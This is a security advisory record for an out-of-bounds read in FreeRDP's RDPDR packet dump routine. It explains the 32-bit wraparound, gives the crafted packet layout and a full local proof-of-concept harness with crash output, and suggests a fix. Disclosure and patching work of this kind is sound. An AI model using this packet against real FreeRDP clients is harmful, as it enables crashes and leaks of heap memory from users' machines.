Out-of-bounds read in FreeRDP RDPDR packet dump routine
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
FreeRDP up to and including 3.30.0 has an out-of-bounds read in the RDPDR channel packet dump routine (CWE-125). A 32-bit length check wraps around for a crafted client name length, so the code scans memory past the packet buffer. A malicious RDP server can trigger it with a single packet if the client has trace logging enabled for the rdpdr logger.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary FreeRDP's RDPDR channel packet dump routine (`rdpdr_dump_packet` in `libfreerdp/utils/rdpdr_utils.c`) performs an out-of-bounds read (CWE-125) in the `PAKID_CORE_CLIENT_NAME` case because the buffer-bounds guard `pos >= 16 + computerNameLen` is computed in 32-bit unsigned arithmetic. An attacker-controlled `computerNameLen` of `0xFFFFFFF0` wraps `16 + computerNameLen` to `0`, making the guard always true; the resulting huge length is then passed to `ConvertWCharNToUtf8` → `_wcsnlen`, which scans memory past the packet buffer looking for a NUL terminator, reading out of bounds. The dump routine is invoked on every received RDPDR packet by the client before any state-machine or length validation, so a malicious RDP server can trigger the read by sending a single crafted packet — provided the client has enabled `WLOG_TRACE`-level logging for the `rdpdr` logger. ### Affected versions - **FreeRDP master** — reproduced on HEAD `8b1ba4398c9ebbfe2cecf59c0a9a2b9d7489793f` (2026-08-20). The vulnerable guard is at `libfreerdp/utils/rdpdr_utils.c:341` and the sink is at `:346`. Unpatched. - Reachable on any FreeRDP client that processes RDPDR channel traffic (drive/smartcard/printer redirection — enabled in `xfreerdp` with `/drive` or `/smartcard`) when the user has turned on `WLOG_TRACE`-level logging for the rdpdr logger (e.g. `-log-level:TRACE` or `-log-filters:com.freerdp.channel.rdpdr.client:TRACE`). ### Details All line numbers below are against master HEAD `8b1ba4398c9ebbfe2cecf59c0a9a2b9d7489793f`. #### The guard that wraps `rdpdr_dump_packet()` (`libfreerdp/utils/rdpdr_utils.c:289`) is called for every received RDPDR packet. After reading 16 header bytes it reaches the `PAKID_CORE_CLIENT_NAME` case and tests whether the packet contains the claimed name bytes: ```c // rdpdr_utils.c:329 (PAKID_CORE_CLIENT_NAME case) char name[256] = WINPR_C_ARRAY_INIT; UINT32 unicodeFlag = 0; UINT32 codePage = 0; UINT32 computerNameLen = 0; if (pos >= 8) Stream_Read_UINT32(s, unicodeFlag); if (pos >= 12) Stream_Read_UINT32(s, codePage); if (pos >= 16) Stream_Read_UINT32(s, computerNameLen); // attacker-controlled 0..0xFFFFFFFF if (pos >= 16 + computerNameLen) // :341 — 32-bit add, wraps { if (unicodeFlag == 0) Stream_Read(s, name, MIN(sizeof(name), computerNameLen)); else (void)ConvertWCharNToUtf8(Stream_ConstPointer(s), computerNameLen / sizeof(WCHAR), name, sizeof(name)); // :346 } ``` `pos` is `Stream_Length(s)` (a `size_t`, i.e. 64-bit), `16` is an `int`, and `computerNameLen` is `UINT32`. The expression `16 + computerNameLen` is evaluated in 32-bit unsigned arithmetic. When `computerNameLen = 0xFFFFFFF0`: ``` 0x00000010 + 0xFFFFFFF0 = 0x100000000 → truncated to 0x00000000 (UINT32) ``` so the check becomes `pos >= 0`, which is always true. The guard that should reject an over-long `computerNameLen` is bypassed entirely. #### The out-of-bounds read With `unicodeFlag = 1` (set by the attacker), control reaches `:346`: ```c ConvertWCharNToUtf8(Stream_ConstPointer(s), computerNameLen / sizeof(WCHAR), // 0xFFFFFFF0 / 2 = 0x7FFFFFF8 ≈ 2.1 billion name, sizeof(name)); ``` `Stream_ConstPointer(s)` points just past the 16-byte header — i.e. at (or past) the end of the packet data, depending on packet length. `ConvertWCharNToUtf8` (`winpr/libwinpr/crt/unicode.c:383`) immediately calls: ```c size_t iwlen = _wcsnlen(wstr, wlen); // wlen ≈ 2.1e9 ``` and `_wcsnlen` (`winpr/libwinpr/crt/string.c:406`) is a plain loop: ```c size_t _wcsnlen(const WCHAR* str, size_t max) { size_t x = 0; for (; x < max; x++) { if (str[x] == 0) // reads str[x] — one WCHAR at a time, up to `max` times return x; } return x; } ``` Given `max ≈ 2.1e9`, the loop reads `str[x]` past the end of the packet buffer until it either hits a stray `0x0000` WCHAR in adjacent memory or reaches the 2 GB / 4 GB mark and faults. Each `str[x]` access beyond the allocated packet buffer is an out-of-bounds read. #### The network-controlled fields `computerNameLen` and `unicodeFlag` are read directly from the network stream inside the dump routine itself (`rdpdr_utils.c:336,340`); they are not the parsed/validated protocol fields from `rdpdr_main.c`. The dump routine parses the raw bytes itself, before any state-machine processing. #### Client-side call path ``` rdpdr channel data received channels/rdpdr/client/rdpdr_main.c rdpdr_process_receive rdpdr_main.c:1780 rdpdr_dump_received_packet(..., WLOG_TRACE, s, ...) rdpdr_main.c:1791 <- BEFORE state machine rdpdr_dump_packet rdpdr_utils.c:289 ... PAKID_CORE_CLIENT_NAME case ... pos >= 16 + computerNameLen rdpdr_utils.c:341 <- wrap, guard bypassed ConvertWCharNToUtf8(Stream_ConstPointer(s), ~2.1e9, ...) rdpdr_utils.c:346 _wcsnlen(wstr, ~2.1e9) crt/string.c:406 <- OOB read loop ``` The call at `rdpdr_main.c:1791` is unconditional — it runs for **every** received RDPDR packet, in the `rdpdr` logger, before the `switch (packetId)` state machine at `rdpdr_main.c:1799+`. Even though `PAKID_CORE_CLIENT_NAME` is nominally a client→server packet (the client sends it at `rdpdr_main.c:1332`), the dump routine does not know that: it has its own `switch(packetid)` that happily parses a server-sent `PAKID_CORE_CLIENT_NAME` packet. So a malicious server can send this packet id on the rdpdr channel and the dump path will execute. #### Prerequisite: WLOG_TRACE level `rdpdr_dump_packet` begins with: ```c if (!WLog_IsLevelActive(log, lvl)) // lvl = WLOG_TRACE return; ``` `WLog_IsLevelActive` (`winpr/libwinpr/utils/wlog/wlog.c:471`) returns `_log_level >= level`, where the WLOG level enum is (`winpr/include/winpr/wlog.h:44`): ``` WLOG_TRACE = 0, DEBUG = 1, INFO = 2, WARN = 3, ERROR = 4, FATAL = 5, OFF = 6 ``` and the root logger defaults to `WLOG_INFO = 2` (`wlog.c:886`). With `_log_level = TRACE = 0` and `level = INFO = 2`, the test `0 >= 2` is false, so the dump routine returns immediately and the bug is not reachable. The attack therefore requires the user to have enabled TRACE-level logging for the rdpdr logger (e.g. `-log-level:TRACE`). #### Root cause A 32-bit unsigned addition `16 + computerNameLen` used as a buffer-length guard. The addition can wrap to a small value when `computerNameLen` is close to `UINT32_MAX`, defeating the comparison, after which the same (un-wrapped, still huge) `computerNameLen` is used as a length argument to `_wcsnlen`, which then reads past the packet buffer. ### Impact A malicious RDP server can send a single crafted RDPDR packet (`PAKID_CORE_CLIENT_NAME` with `computerNameLen = 0xFFFFFFF0`, `unicodeFlag = 1`) to a FreeRDP client that has rdpdr TRACE logging enabled. The client's `_wcsnlen` will read memory past the packet buffer: - if the read reaches an unmapped page → the client crashes; - if the read hits allocated adjacent memory → the read bytes are converted to UTF-8 (truncated to 256 bytes) and written into the `name[256]` stack buffer, then emitted via `WLog_Print` with `%s` → heap-content disclosure in the log output. ### Proof of Concept A self-contained end-to-end harness compiles the **real, unmodified** `libfreerdp/utils/rdpdr_utils.c` with `-Dstatic=` (so the whole dump path is ASan-instrumented in the test binary), links the pre-built `libfreerdp3.so` and `libwinpr3.so`, and supplies a `stub_stream.c` that re-emits the two `static inline` stream helpers (`Stream_Seek`, `stream_read_u32_le`) that `-Dstatic=` turned into external references. The driver maps the attacker packet onto two pages and `mprotect`s the second page to `PROT_NONE`, so the out-of-bounds read faults deterministically even though `libwinpr3.so` itself is not ASan-instrumented. #### Build & run Place the three files below (`build.sh`, `stub_stream.c`, `e2e_main.c`) in a directory alongside a checked-out FreeRDP source tree that has been built normally (so `build/libfreerdp/libfreerdp3.so` and `build/winpr/libwinpr/libwinpr3.so` exist), then: ```bash ./build.sh /path/to/FreeRDP-source # builds e2e_poc (ASan-instrumented) ASAN_LIB=$(gcc -print-file-name=libasan.so) LD_PRELOAD=$ASAN_LIB ASAN_OPTIONS=detect_leaks=0 ./e2e_poc ``` #### Observed output (master HEAD 8b1ba4398) ``` ============================================================== FreeRDP rdpdr_dump_packet OOB-read — END-TO-END PoC (real rdpdr_utils.c + libwinpr3.so) ============================================================== [1] packet buffer @ 0x7ff161035000, Stream_Length=4096 (page 4096) [2] calling rdpdr_dump_received_packet(WLOG_TRACE) (real code)... computerNameLen=0xFFFFFFF0, 16+len wraps to 0, pos>=0 always TRUE -> ConvertWCharNToUtf8/_wcsnlen scans past packet into PROT_NONE page ================================================================= ==4138907==ERROR: AddressSanitizer: SEGV on unknown address 0x7ff161036000 #0 0x7ff161d10931 in _wcsnlen libwinpr3.so #1 0x7ff161d13e93 in ConvertWCharNToUtf8 libwinpr3.so #2 0x402c57 in rdpdr_dump_packet rdpdr_utils.c:346 #3 0x404a31 in rdpdr_dump_received_packet rdpdr_utils.c:518 #4 0x40868a in main e2e_main.c:112 SUMMARY: AddressSanitizer: SEGV in _wcsnlen ``` The SEGV is at address `0x7ff161036000`, exactly one page (`0x1000`) past the packet buffer at `0x7ff161035000` — i.e. `_wcsnlen` read past the end of the packet data into the `PROT_NONE` guard page. The call stack shows the real `rdpdr_dump_packet` at `rdpdr_utils.c:346` invoking `ConvertWCharNToUtf8`, which calls `_wcsnlen`, which performs the out-of-bounds read. **Malicious packet layout** (what a hostile server would send on the rdpdr channel): | offset | field | value | |---|---|---| | 0–1 | Component | `RDPDR_CTYP_CORE` (0x0005) | | 2–3 | PacketId | `PAKID_CORE_CLIENT_NAME` (0x000A) | | 4–7 | unicodeFlag | `1` (force the `else` branch) | | 8–11 | codePage | `0` | | 12–15 | computerNameLen | `0xFFFFFFF0` (wraps `16+len` to 0) | #### Complete reproducer files **`build.sh`** ```bash #!/bin/bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SRC="${1:-$SCRIPT_DIR/../FreeRDP}" SRC="$(cd "$SRC" && pwd)" FREERDP_LIB="$(find "$SRC/build" -name 'libfreerdp3.so' 2>/dev/null | head -1)" WINPR_LIB="$(find "$SRC/build" -name 'libwinpr3.so' 2>/dev/null | head -1)" [ -z "$FREERDP_LIB" ] || [ -z "$WINPR_LIB" ] && { echo "ERROR: .so not found under $SRC/build" >&2; exit 1; } FD_DIR="$(dirname "$FREERDP_LIB")"; WP_DIR="$(dirname "$WINPR_LIB")" INC="-I$SRC -I$SRC/include -I$SRC/winpr/include -I$SRC/build/winpr/include -I$SRC/build/include" OUT="$SCRIPT_DIR/e2e_poc"; OBJ="$SCRIPT_DIR/.obj"; mkdir -p "$OBJ" CC=gcc; CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" # Real, unmodified rdpdr_utils.c — ASan-instrumented via -Dstatic= so the dump # path is in our binary. stub_stream.c re-emits the stream inline helpers that # -Dstatic= turned into external references. $CC $CFLAGS -Dstatic= $INC -c "$SRC/libfreerdp/utils/rdpdr_utils.c" -o "$OBJ/rdpdr_utils.o" $CC $CFLAGS -Dstatic= -Dinline= $INC -c "$SCRIPT_DIR/stub_stream.c" -o "$OBJ/stub_stream.o" $CC $CFLAGS $INC -c "$SCRIPT_DIR/e2e_main.c" -o "$OBJ/e2e_main.o" $CC -fsanitize=address -g -o "$OUT" "$OBJ/rdpdr_utils.o" "$OBJ/stub_stream.o" "$OBJ/e2e_main.o" \ -L"$FD_DIR" -lfreerdp3 -L"$WP_DIR" -lwinpr3 -Wl,-rpath,"$FD_DIR:$WP_DIR" echo "built: $OUT" echo "Run: ASAN_LIB=\$(gcc -print-file-name=libasan.so) LD_PRELOAD=\$ASAN_LIB ASAN_OPTIONS=detect_leaks=0 $OUT" ``` **`stub_stream.c`** ```c /* Re-emits the static-inline stream helpers that rdpdr_utils.c (built with * -Dstatic=) turns into external references. Compiling this TU with the same * -Dstatic= -Dinline= makes the (identical) static-inline bodies in * winpr/include/winpr/stream.h get emitted as external symbols, satisfying * those references with faithful real implementations. No duplicate defs. */ #include <winpr/stream.h> ``` **`e2e_main.c`** ```c /* * e2e_main.c — PoC driver for the FreeRDP rdpdr_dump_packet OOB-read bug. * * Compiles the REAL, UNMODIFIED libfreerdp/utils/rdpdr_utils.c (-Dstatic=) * so the whole dump path (rdpdr_dump_packet -> ConvertWCharNToUtf8 -> * _wcsnlen) is ASan-instrumented, and links real libwinpr3.so / libfreerdp3.so. * * Attack reproduction: * A malicious RDP server sends an RDPDR packet with: * Component = RDPDR_CTYP_CORE * PacketId = PAKID_CORE_CLIENT_NAME * unicodeFlag = 1 (force the Unicode / else branch) * codePage = 0 * computerNameLen = 0xFFFFFFF0 (wraps 16+computerNameLen to 0 in UINT32) * * The client calls rdpdr_dump_received_packet() on EVERY received RDPDR * packet BEFORE any state machine / length validation. rdpdr_dump_packet() * does: * pos = Stream_Length(s); * if (pos >= 16 + computerNameLen) (16+0xFFFFFFF0 wraps to 0 -> always TRUE) * ConvertWCharNToUtf8(Stream_ConstPointer(s), * computerNameLen / sizeof(WCHAR), ...); * ConvertWCharNToUtf8 -> _wcsnlen(wstr, ~0x7FFFFFF8) scans the source buffer * for a NUL terminator. The source points just past the last packet byte -> * OUT-OF-BOUNDS READ. * * To make the OOB read crash deterministically even from non-ASAN code, we * map the packet buffer on two pages and mark the page immediately after the * data as PROT_NONE. _wcsnlen() reads past the end of the packet data into * the PROT_NONE page -> SIGSEGV. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <unistd.h> #include <winpr/wtypes.h> #include <winpr/endian.h> #include <winpr/stream.h> #include <winpr/wlog.h> #include <freerdp/utils/rdpdr_utils.h> #include <freerdp/channels/rdpdr.h> int main(void) { printf("==============================================================\n"); printf(" FreeRDP rdpdr_dump_packet OOB-read - END-TO-END PoC\n"); printf(" (real rdpdr_utils.c + libwinpr3.so)\n"); printf("==============================================================\n\n"); const long page = sysconf(_SC_PAGESIZE); /* Map two pages. Page 0 holds the attacker packet; page 1 is marked * PROT_NONE so any read past the packet data faults immediately. */ void* mem = mmap(NULL, 2 * (size_t)page, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { perror("mmap"); return 1; } if (mprotect((BYTE*)mem + page, (size_t)page, PROT_NONE) != 0) { perror("mprotect"); return 1; } BYTE* buf = (BYTE*)mem; /* Fill page 0 with 0x41 so _wcsnlen does not find a NUL within the readable * region and is forced to read into the PROT_NONE page. */ memset(buf, 0x41, (size_t)page); winpr_Data_Write_UINT16(buf, RDPDR_CTYP_CORE); winpr_Data_Write_UINT16(buf + 2, PAKID_CORE_CLIENT_NAME); winpr_Data_Write_UINT32(buf + 4, 1); /* unicodeFlag = 1 -> else branch */ winpr_Data_Write_UINT32(buf + 8, 0); /* codePage = 0 */ winpr_Data_Write_UINT32(buf + 12, 0xFFFFFFF0u); /* computerNameLen -> wraps 16+x to 0 */ /* Stream_Length(s) = pos must be >= 16 (so computerNameLen is read) and the * whole header must be within the packet. We set length = page so pos = page, * comfortably >= 16. 16 + computerNameLen wraps to 0 -> pos >= 0 always TRUE. */ const size_t packet_len = (size_t)page; wStream* s = Stream_New(buf, packet_len); if (!s) { fprintf(stderr, "Stream_New failed\n"); return 1; } printf("[1] packet buffer @ %p, Stream_Length=%zu (page %ld)\n\n", (void*)buf, Stream_Length(s), page); /* Enable TRACE logging so rdpdr_dump_packet does not early-return. */ wLog* log = WLog_Get("rdpdr"); WLog_SetLogLevel(log, WLOG_TRACE); printf("[2] calling rdpdr_dump_received_packet(WLOG_TRACE) (real code)...\n"); printf(" computerNameLen=0xFFFFFFF0, 16+len wraps to 0, pos>=0 always TRUE\n"); printf(" -> ConvertWCharNToUtf8/_wcsnlen scans past packet into PROT_NONE page\n\n"); fflush(stdout); /* Exactly what channels/rdpdr/client/rdpdr_main.c:1791 calls. */ rdpdr_dump_received_packet(log, WLOG_TRACE, s, "[rdpdr-channel] receive"); /* We should never get here: _wcsnlen should have SIGSEGV'd. */ printf("\n[*] UNEXPECTED: reached end without fault\n"); Stream_Free(s, TRUE); return 0; } ``` ### Suggested fix Perform the addition in 64-bit arithmetic, or check `computerNameLen` against the remaining packet length before adding: ```diff @@ rdpdr_utils.c:341 (PAKID_CORE_CLIENT_NAME case) - if (pos >= 16 + computerNameLen) + if (pos < 16 || computerNameLen > pos - 16) + break; /* not enough data for the claimed name */ + if (pos >= 16ull + computerNameLen) /* 64-bit, no wraparound */ { if (unicodeFlag == 0) Stream_Read(s, name, MIN(sizeof(name), computerNameLen)); else (void)ConvertWCharNToUtf8(Stream_ConstPointer(s), computerNameLen / sizeof(WCHAR), name, sizeof(name)); } ``` The `pos - 16` subtraction is safe because the preceding `if (pos >= 16) Stream_Read_UINT32(s, computerNameLen)` guarantees `pos >= 16` on this path. The same `computerNameLen > pos - 16` check also correctly rejects the `unicodeFlag == 0` branch (`Stream_Read(s, name, MIN(sizeof(name), computerNameLen))`), which would otherwise read `computerNameLen` bytes from the stream without a wraparound guard of its own. ### Credit : SecBuddyF - Tencent KeenLab (CodeBuddy Security)
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | freerdp | <= 3.30.0 | 3.31.0 | Patch available | GHSA-c5gr-hmqp-pwj4 |
- freerdp Vendor— Affected <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-c5gr-hmqp-pwj4
Remediation
Upgrade FreeRDP to version 3.31.0.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-c5gr-hmqp-pwj4 freerdp Fixed in 3.31.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-c5gr-hmqp-pwj4
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences